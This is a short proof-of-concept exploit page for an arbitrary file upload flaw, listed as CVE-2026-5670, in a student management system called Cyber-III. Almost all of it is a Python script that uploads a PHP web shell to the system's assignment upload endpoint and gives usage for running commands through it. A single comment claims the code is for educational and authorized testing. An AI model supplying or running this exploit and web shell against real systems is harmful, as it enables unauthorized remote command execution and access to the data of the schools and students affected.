CVE-2026-5670: Cyber-III学生管理系统任意文件上传漏洞

import requests # Target URL of the vulnerable upload endpoint target_url = "http://target-ip/AssignmentSection/submission/upload.php" # Malicious PHP file content (Webshell) # Note: Use for educational and authorized testing purposes only shell_content = "<?php system($_GET['cmd']); ?>" # Construct the multipart/form-data payload files = { 'File': ('shell.php', shell_content, 'application/x-php') } try: # Send POST request to upload the file response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") print("[+] Check the upload directory to locate the shell.") print("[+] Usage: http://target-ip/path/to/shell.php?cmd=whoami") else: print("[-] Exploit failed. Server returned status code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print("[-] An error occurred:", str(e))